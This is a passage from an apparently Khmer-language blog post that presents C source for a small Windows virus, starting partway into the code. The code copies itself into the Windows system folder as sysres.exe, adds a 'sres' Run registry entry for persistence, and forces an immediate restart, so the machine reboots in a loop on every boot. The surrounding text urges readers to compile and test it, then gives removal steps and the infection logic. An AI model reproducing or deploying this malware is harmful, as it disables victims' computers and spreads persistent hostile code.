system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(”shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}
តែសសាកល្បង រួចហើយ Remove មេរោគចេញ ពីកុំព្យូទ័រ
លោកអ្នក compile សាកល្បង រួចហើយ មេរោគនេះ ក្នុងកុំព្យូទ័ររបស់អ្នក ដោយចុចពីរដងលើ sysres.exe file រួចហើយ restart system ពេលនោះគ្រប់ពេលកុំព្យូទ័រ boot  restart ដោយស្វ័យប្រវត្តិម្តងហើយម្តងទៀត។ ខាងក្រោមនេះជំហាន remove ចេញពីកុំព្យូទ័ររបស់អ្នក
1. Reboot កុំព្យូទ័រ ជ្រើសរើស SAFE MODE
2. ចូលក្នុង X:\Windows\System (X អាចជា C,D,E ឬ F)
3.រកមើល file មួយមានឈ្មោះថា sysres.exe លប់វាចោល
4. វាយសរសេរ regedit ក្នុង run.អ្នកនឹងចូលដល់ registry editor​ ដែលមាន
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run 
នៅខាងស្តាំដៃ បញ្ជីឈ្មោះ  “sres“.លប់ចោលចេញពីលើវា  ពេលនោះលោកអ្នកបាន remove ចេញជោគជ័យ។
វិធីឡូស៊ីច LOGIC:
1.ដំបូងមេរោគ និងរក Root partition (Partition លើ Windows ត្រូវបានដំឡើង).
2. បន្ទាប់មកមេរោគ Virus file គឺចំលងចូល X:\Windows\System
3. ប្រសិនបើមិនដូច្នោះមេរោគបានតោងជាប់ X:\Windows\System បង្កើតលើ registry entry ចូលក្នុង startup។
បង្កើតមេរោគ Restart កុំព្យូទ័រ Startup
View detail
 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. ទឹកអំពៅ - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger